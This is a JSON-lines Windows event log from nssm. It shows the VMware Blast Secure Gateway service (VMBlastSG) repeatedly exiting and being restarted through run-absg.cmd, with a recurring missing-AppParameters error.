{"@timestamp":1646663963498,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152584","0"]}}},"module":"Application","provider":"nssm","sequence":156192}}
{"@timestamp":1646663963498,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152584","152584","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156193}}
{"@timestamp":1646663963515,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156194}}
{"@timestamp":1646663963516,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156195}}
{"@timestamp":1646663963517,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156196}}
{"@timestamp":1646663963518,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156197}}
{"@timestamp":1646664092023,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156198}}
{"@timestamp":1646664092023,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156199}}
{"@timestamp":1646664092024,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152664","0"]}}},"module":"Application","provider":"nssm","sequence":156200}}
{"@timestamp":1646664092024,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152664","152664","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156201}}
{"@timestamp":1646664092045,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156202}}
{"@timestamp":1646664092045,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156203}}
{"@timestamp":1646664092046,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156204}}
{"@timestamp":1646664092046,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156205}}
{"@timestamp":1646664220608,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156206}}
{"@timestamp":1646664220608,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156207}}
{"@timestamp":1646664220609,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152296","0"]}}},"module":"Application","provider":"nssm","sequence":156208}}
{"@timestamp":1646664220610,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152296","152296","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156209}}
{"@timestamp":1646664220628,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156210}}
{"@timestamp":1646664220628,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156211}}
{"@timestamp":1646664220629,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156212}}
{"@timestamp":1646664220630,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156213}}
{"@timestamp":1646664349400,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156214}}
{"@timestamp":1646664349401,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156215}}
{"@timestamp":1646664349401,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153352","0"]}}},"module":"Application","provider":"nssm","sequence":156216}}
{"@timestamp":1646664349402,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153352","153352","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156217}}
{"@timestamp":1646664349423,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156218}}
{"@timestamp":1646664349423,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156219}}
{"@timestamp":1646664349424,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156220}}
{"@timestamp":1646664349425,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156221}}
{"@timestamp":1646664477982,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156222}}
{"@timestamp":1646664477983,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156223}}
{"@timestamp":1646664477983,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152888","0"]}}},"module":"Application","provider":"nssm","sequence":156224}}
{"@timestamp":1646664477983,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152888","152888","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156225}}
{"@timestamp":1646664478002,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151824","0"]}}},"module":"Application","provider":"nssm","sequence":156226}}
{"@timestamp":1646664478003,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151824","152888","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156227}}
{"@timestamp":1646664478046,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156228}}
{"@timestamp":1646664478047,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156229}}
{"@timestamp":1646664478048,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156230}}
{"@timestamp":1646664478049,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156231}}
{"@timestamp":1646664606605,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156232}}
{"@timestamp":1646664606606,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156233}}
{"@timestamp":1646664606606,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153428","0"]}}},"module":"Application","provider":"nssm","sequence":156234}}
{"@timestamp":1646664606607,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153428","153428","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156235}}
{"@timestamp":1646664606623,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156236}}
{"@timestamp":1646664606624,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156237}}
{"@timestamp":1646664606625,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156238}}
{"@timestamp":1646664606626,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156239}}
{"@timestamp":1646664735123,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156240}}
{"@timestamp":1646664735124,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156241}}
{"@timestamp":1646664735124,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152212","0"]}}},"module":"Application","provider":"nssm","sequence":156242}}
{"@timestamp":1646664735125,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152212","152212","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156243}}
{"@timestamp":1646664735142,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156244}}
{"@timestamp":1646664735142,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156245}}
{"@timestamp":1646664735143,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156246}}
{"@timestamp":1646664735144,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156247}}
{"@timestamp":1646664863646,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156248}}
{"@timestamp":1646664863647,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156249}}
{"@timestamp":1646664863647,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151788","0"]}}},"module":"Application","provider":"nssm","sequence":156250}}
{"@timestamp":1646664863647,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151788","151788","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156251}}
{"@timestamp":1646664863665,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156252}}
{"@timestamp":1646664863665,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156253}}
{"@timestamp":1646664863666,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156254}}
{"@timestamp":1646664863667,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156255}}
{"@timestamp":1646664992174,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156256}}
{"@timestamp":1646664992178,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156257}}
{"@timestamp":1646664992180,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152008","0"]}}},"module":"Application","provider":"nssm","sequence":156258}}
{"@timestamp":1646664992181,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152008","152008","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156259}}
{"@timestamp":1646664992200,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156260}}
{"@timestamp":1646664992200,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156261}}
{"@timestamp":1646664992201,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156262}}
{"@timestamp":1646664992202,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156263}}
{"@timestamp":1646665120716,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156264}}
{"@timestamp":1646665120717,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156265}}
{"@timestamp":1646665120718,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153584","0"]}}},"module":"Application","provider":"nssm","sequence":156266}}
{"@timestamp":1646665120718,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153584","153584","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156267}}
{"@timestamp":1646665120739,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156268}}
{"@timestamp":1646665120740,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156269}}
{"@timestamp":1646665120740,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156270}}
{"@timestamp":1646665120741,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156271}}
{"@timestamp":1646665249472,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156272}}
{"@timestamp":1646665249473,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156273}}
{"@timestamp":1646665249475,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152684","0"]}}},"module":"Application","provider":"nssm","sequence":156274}}
{"@timestamp":1646665249475,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152684","152684","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156275}}
{"@timestamp":1646665249493,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156276}}
{"@timestamp":1646665249494,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156277}}
{"@timestamp":1646665249494,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156278}}
{"@timestamp":1646665249495,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156279}}
{"@timestamp":1646665378018,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156280}}
{"@timestamp":1646665378019,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156281}}
{"@timestamp":1646665378020,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151988","0"]}}},"module":"Application","provider":"nssm","sequence":156282}}
{"@timestamp":1646665378020,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151988","151988","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156283}}
{"@timestamp":1646665378039,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156284}}
{"@timestamp":1646665378039,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156285}}
{"@timestamp":1646665378040,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156286}}
{"@timestamp":1646665378040,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156287}}
{"@timestamp":1646665506529,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156288}}
{"@timestamp":1646665506530,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156289}}
{"@timestamp":1646665506531,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150788","0"]}}},"module":"Application","provider":"nssm","sequence":156290}}
{"@timestamp":1646665506532,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150788","150788","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156291}}
{"@timestamp":1646665506552,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156292}}
{"@timestamp":1646665506553,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156293}}
{"@timestamp":1646665506553,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156294}}
{"@timestamp":1646665506554,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156295}}
{"@timestamp":1646665635074,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156296}}
